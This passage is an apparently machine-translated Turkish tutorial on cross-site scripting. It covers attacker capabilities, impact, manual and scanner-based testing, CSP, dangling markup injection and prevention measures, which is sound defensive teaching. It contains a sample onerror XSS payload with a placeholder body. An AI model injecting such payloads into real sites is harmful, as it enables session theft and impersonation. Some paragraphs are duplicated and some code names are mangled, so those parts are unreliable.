Saldırgan giriş alanının değerini kontrol edebiliyorsa, kendi komut dosyalarının yürütülmesine neden olan kötü amaçlı bir değeri kolayca oluşturabilir:
You searched for: <img src=1 onerror='/* Bad stuff here... */'>
Tipik bir durumda, giriş alanı, bir URL sorgu dizesi parametresi gibi HTTP isteğinin bir kısmından doldurulur ve saldırganın, yansıtılan XSS ile aynı şekilde kötü amaçlı bir URL kullanarak bir saldırı gerçekleştirmesine olanak tanır.
3.4 XSS Hakkında Diğer Bilgiler ve Saldırı Önleme
XSS ne için kullanılabilir?
Cross-Site Scripting güvenlik açığından yararlanan bir saldırgan genellikle şunları yapabilir:
- Kurban kullanıcı kimliğine bürünün veya maskeli balo yapın.
- Kullanıcının gerçekleştirebileceği herhangi bir eylemi gerçekleştirin.
- Kullanıcının erişebildiği tüm verileri okuyun.
- Kullanıcının oturum açma kimlik bilgilerini yakalayın.
- Web sitesinin sanal tahrifini gerçekleştirin.
- Web sitesine truva atı işlevselliği enjekte edin.
XSS güvenlik açıklarının etkisi
Bir XSS saldırısının gerçek etkisi genellikle uygulamanın doğasına, işlevselliğine ve verilerine ve güvenliği ihlal edilen kullanıcının durumuna bağlıdır. Örneğin:
- Tüm kullanıcıların anonim ve tüm bilgilerin herkese açık olduğu bir broşür uygulamasında, etki genellikle minimum düzeyde olacaktır.
- Bankacılık işlemleri, e-postalar veya sağlık kayıtları gibi hassas verileri tutan bir uygulamada, etki genellikle ciddi olacaktır.
- Güvenliği ihlal edilen kullanıcının uygulama içinde yükseltilmiş ayrıcalıkları varsa, etki genellikle kritik olacaktır ve saldırganın güvenlik açığı bulunan uygulamanın tam kontrolünü ele geçirmesine ve tüm kullanıcıları ve verilerini tehlikeye atmasına olanak tanır
XSS güvenlik açıkları nasıl bulunur ve test edilir
XSS güvenlik açıklarının büyük çoğunluğu, Burp Suite'in web güvenlik açığı tarayıcısı kullanılarak hızlı ve güvenilir bir şekilde bulunabilir .
Yansıtılan ve depolanan XSS'nin manuel olarak test edilmesi normalde uygulamadaki her giriş noktasına bazı basit benzersiz girdilerin (kısa bir alfasayısal dize gibi) gönderilmesini, gönderilen girdinin HTTP yanıtlarında döndürüldüğü her konumun belirlenmesini ve her konumun bağımsız olarak test edilmesini içerir. İsteğe bağlı JavaScript'i yürütmek için uygun şekilde hazırlanmış girdinin kullanılıp kullanılamayacağı. Bu şekilde, XSS'nin oluştuğu bağlamı belirleyebilir ve bundan yararlanmak için uygun bir yük seçebilirsiniz.
URL parametrelerinden kaynaklanan DOM tabanlı XSS'nin manuel olarak test edilmesi benzer bir süreci içerir: parametreye bazı basit benzersiz girdiler yerleştirmek, bu girdi için DOM'yi aramak için tarayıcının geliştirici araçlarını kullanmak ve kötüye kullanılabilir olup olmadığını belirlemek için her konumu test etmek. Ancak, diğer DOM XSS türlerinin tespit edilmesi daha zordur. URL tabanlı olmayan girdilerde ( ) veya HTML tabanlı olmayan havuzlarda ( gibi ) DOM tabanlı güvenlik açıklarını bulmak için JavaScript kodunu incelemenin yerini hiçbir şey tutamaz ve bu son derece zaman alıcı olabilir. Burp Suite'in web güvenlik açığı tarayıcısı, DOM tabanlı güvenlik açıklarının algılanmasını güvenilir bir şekilde otomatikleştirmek için JavaScript'in statik ve dinamik analizini birleştirir. document.cookiesetTimeout
Yansıtılan ve depolanan XSS'nin manuel olarak test edilmesi normalde uygulamadaki her giriş noktasına bazı basit benzersiz girdilerin (kısa bir alfasayısal dize gibi) gönderilmesini, gönderilen girdinin HTTP yanıtlarında döndürüldüğü her konumun belirlenmesini ve her konumun bağımsız olarak test edilmesini içerir. İsteğe bağlı JavaScript'i yürütmek için uygun şekilde hazırlanmış girdinin kullanılıp kullanılamayacağı. Bu şekilde, XSS'nin oluştuğu bağlamı belirleyebilir ve bundan yararlanmak için uygun bir yük seçebilirsiniz.
URL parametrelerinden kaynaklanan DOM tabanlı XSS'nin manuel olarak test edilmesi benzer bir süreci içerir: parametreye bazı basit benzersiz girdiler yerleştirmek, bu girdi için DOM'yi aramak için tarayıcının geliştirici araçlarını kullanmak ve kötüye kullanılabilir olup olmadığını belirlemek için her konumu test etmek. Ancak, diğer DOM XSS türlerinin tespit edilmesi daha zordur. URL tabanlı olmayan girdilerde ( ) veya HTML tabanlı olmayan havuzlarda ( gibi ) DOM tabanlı güvenlik açıklarını bulmak için JavaScript kodunu incelemenin yerini hiçbir şey tutamaz ve bu son derece zaman alıcı olabilir. Burp Suite'in web güvenlik açığı tarayıcısı, DOM tabanlı güvenlik açıklarının algılanmasını güvenilir bir şekilde otomatikleştirmek için JavaScript'in statik ve dinamik analizini birleştirir. document.cookiesetTimeout
İçerik güvenliği politikası
İçerik güvenliği politikası ( CSP ), Cross-Site Scripting ve diğer bazı güvenlik açıklarının etkisini azaltmayı amaçlayan bir tarayıcı mekanizmasıdır. CSP kullanan bir uygulama XSS benzeri davranış içeriyorsa, CSP güvenlik açığından yararlanılmasını engelleyebilir veya önleyebilir. Genellikle, temeldeki güvenlik açığından yararlanılmasını sağlamak için CSP atlatılabilir.
Sarkan işaretleme enjeksiyonu
Sarkan işaretleme enjeksiyonu, giriş filtreleri veya diğer savunmalar nedeniyle tam Cross-Site Scripting'in mümkün olmadığı durumlarda etki alanları arası veri yakalamak için kullanılabilen bir tekniktir. Kullanıcı adına yetkisiz eylemler gerçekleştirmek için kullanılabilecek CSRF belirteçleri de dahil olmak üzere, diğer kullanıcılar tarafından görülebilen hassas bilgileri yakalamak için sıklıkla kullanılabilir.
XSS saldırıları nasıl önlenir?
Cross-Site Scripting'i önlemek bazı durumlarda önemsizdir ancak uygulamanın karmaşıklığına ve kullanıcı tarafından kontrol edilebilir verileri işleme şekline bağlı olarak çok daha zor olabilir.
Genel olarak, XSS güvenlik açıklarını etkili bir şekilde önlemenin aşağıdaki önlemlerin bir kombinasyonunu içermesi muhtemeldir:
Genel olarak, XSS güvenlik açıklarını etkili bir şekilde önlemenin aşağıdaki önlemlerin bir kombinasyonunu içermesi muhtemeldir:
- Varışta filtre girişi. Kullanıcı girişinin alındığı noktada, beklenen veya geçerli girişe göre mümkün olduğunca katı bir şekilde filtre uygulayın.
- Çıktıdaki verileri kodlayın. HTTP yanıtlarında kullanıcı tarafından kontrol edilebilen verilerin çıktılandığı noktada, çıktının aktif içerik olarak yorumlanmasını önlemek için çıktıyı kodlayın. Çıktı bağlamına bağlı olarak bu, HTML, URL, JavaScript ve CSS kodlama kombinasyonlarının uygulanmasını gerektirebilir.
- Uygun yanıt başlıklarını kullanın. Herhangi bir HTML veya JavaScript içermesi amaçlanmayan HTTP yanıtlarında XSS'yi önlemek için tarayıcıların yanıtları istediğiniz şekilde yorumlamasını sağlamak için Content-Typeve X-Content-Type-Optionsbaşlıklarını kullanabilirsiniz .
- İçerik Güvenliği Politikası. Son bir savunma hattı olarak, hala meydana gelen XSS güvenlik açıklarının önem derecesini azaltmak için İçerik Güvenliği İlkesi'ni (CSP) kullanabilirsiniz.